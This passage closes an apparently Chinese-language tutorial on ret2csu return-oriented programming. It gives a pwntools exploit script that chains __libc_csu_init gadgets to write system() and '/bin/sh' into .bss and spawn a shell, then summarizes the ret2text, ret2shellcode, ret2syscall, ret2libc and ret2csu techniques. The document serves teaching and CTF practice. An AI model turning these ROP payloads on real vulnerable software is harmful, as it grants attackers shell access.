
success("libc_base:{}".format(hex(libc_base)))
success("system_addr:{}".format(hex(system_addr)))
success("binsh:{}".format(hex(binsh)))

#######################read(0,bss,8) system_addr###############################
payload2 = b'A'*0x80+b'B'*8 #padding
payload2 += p64(gadget1) #ret
payload2 += p64(0) #rsp
payload2 += p64(0) #rbx
payload2 += p64(1) #rbp
payload2 += p64(read_got) #r12 ret
payload2 += p64(0) #r13 edi
payload2 += p64(bss_addr) #r14 rsi
payload2 += p64(16) #r15 rdx
payload2 += p64(gadget2)
payload2 += b'\x00'*0x38 #padding
payload2 += p64(main_addr) #等待第二次触发漏洞
p.sendafter('Hello, World\n',payload2)
sleep(1)
p.send(p64(system_addr)+b'/bin/sh\x00') #有人问 为什么要写入/bin/sh 而不是利用libc中的/bin/sh 那是因为我们再给rdi赋值只能.....
sleep(1)

#######################system('/bin/sh') system_addr###############################
payload3 = b'A'*0x80+b'B'*8 #padding
payload3 += p64(gadget1) #ret
payload3 += p64(0) #rsp
payload3 += p64(0) #rbx
payload3 += p64(1) #rbp
payload3 += p64(bss_addr) #r12 ret
payload3 += p64(bss_addr+8) #r13 edi无法完整赋值
payload3 += p64(0) #r14 rsi
payload3 += p64(0) #r15 rdx
payload3 += p64(gadget2)
payload3 += b'\x00'*0x38 #padding
payload3 += p64(main_addr) #等待第二次触发漏洞
p.sendafter('Hello, World\n',payload3)

p.interactive()

0x07 总结

ret2XX是根据ROP的gadgets的来源进行分类

1.ret2text是利用程序本身的gadgets

2.ret2shellcode是利用输入的shellcode

3.ret2syscall是利用syscall的gadgets

4.ret2libc是利用libc当中存在的gadgets

5.ret2csu是程序编译时存在的gadget具有通用性

嗯嗯 好了 今天的w1cky Time就这样结束了 我们下期再见